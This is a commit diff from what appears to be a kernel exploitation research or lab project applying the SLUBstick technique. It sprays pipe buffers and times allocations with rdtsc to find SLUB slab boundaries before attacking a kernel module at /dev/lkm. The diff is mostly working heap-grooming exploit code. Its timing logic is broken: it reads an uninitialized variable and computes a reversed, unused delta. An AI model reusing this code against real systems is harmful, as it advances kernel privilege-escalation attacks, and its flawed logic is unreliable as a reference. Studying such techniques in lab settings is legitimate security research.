reduce TLB noise with SLUBstick

code/leak.c

@@ -7,15 +7,17 @@
 #include <string.h>
 #include <unistd.h>
 
-#include "pipe_utils.c"
+#include "timing.c"
 
 #define LKM_DEVICE "/dev/lkm"
 
 // where does this come from?
 #define OBJS_PER_SLAB 42
 #define PIPE_BUFFER   (OBJS_PER_SLAB * 10)
+#define SPRAY	      (OBJS_PER_SLAB * 100)
 
 int pipes[PIPE_BUFFER][2];
+char buffer[0x100];
 
 int
 main(void)
@@ -23,12 +25,15 @@ main(void)
 	printf("main: start\n");
 	FILE *device = fopen(LKM_DEVICE, "r+");
 
-	printf("main: allocating objects before loading module: %u objects\n",
+	printf("main: spray to reduce TLB noise part 1: %u objects\n",
 	    PIPE_BUFFER);
-	for (size_t i = 0; i < PIPE_BUFFER; i++) {
-		allocation_primitive(pipes[i]);
+	for (size_t i = 0; i < SPRAY; i++) {
+		pipe2(pipes[i], O_NONBLOCK);
+		fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);
+		write(pipes[i][1], buffer, 8);
 	}
 
+	// May need socket and two parts instead
 	printf("main: fopen: %p\n", device);
 	if (!device) {
 		printf(
@@ -37,11 +42,40 @@ main(void)
 		exit(1);
 	}
 
-	printf("main: draining lower page free lists: %u objects\n",
+	printf("main: spray to reduce TLB noise part 2: %u objects\n",
 	    PIPE_BUFFER);
+	size_t t_delta;
+	size_t t_prev = -1;
+	size_t last_slab = -1;
 	for (size_t i = 0; i < PIPE_BUFFER; i++) {
-		// TODO: Time allocation to figure out which slab is use
-		allocation_primitive(pipes[i]);
+		pipe2(pipes[i], O_NONBLOCK);
+
+		size_t t0 = rdtsc_begin();
+		fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);
+		size_t t1 = rdtsc_end();
+
+		write(pipes[i][1], buffer, 8);
+
+		size_t delta = t0 - t1;
+
+		if (t_delta > (t_prev + 1000)) {
+			if (last_slab == (size_t)-1) {
+				last_slab = i;
+			} else if (i - last_slab == OBJS_PER_SLAB) {
+				break;
+			} else {
+				last_slab = -1;
+			}
+		}
+
+		t_prev = t_delta;
+	}
+
+	for (size_t i = 0; i < PIPE_BUFFER; i++) {
+		// Pipe buffer allocation primitive
+		pipe2(pipes[i], O_NONBLOCK);
+		fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);
+		write(pipes[i][1], buffer, 8);
 	}
 
 	fclose(device);

code/timing.c

@@ -0,0 +1,23 @@
+#include <stdlib.h>
+
+inline size_t
+rdtsc_begin(void)
+{
+	size_t a, d;
+	asm volatile("mfence");
+	asm volatile("rdtsc" : "=a"(a), "=d"(d));
+	a = (d << 32) | a;
+	asm volatile("lfence");
+	return a;
+}
+
+inline size_t
+rdtsc_end(void)
+{
+	size_t a, d;
+	asm volatile("lfence");
+	asm volatile("rdtsc" : "=a"(a), "=d"(d));
+	a = (d << 32) | a;
+	asm volatile("mfence");
+	return a;
+}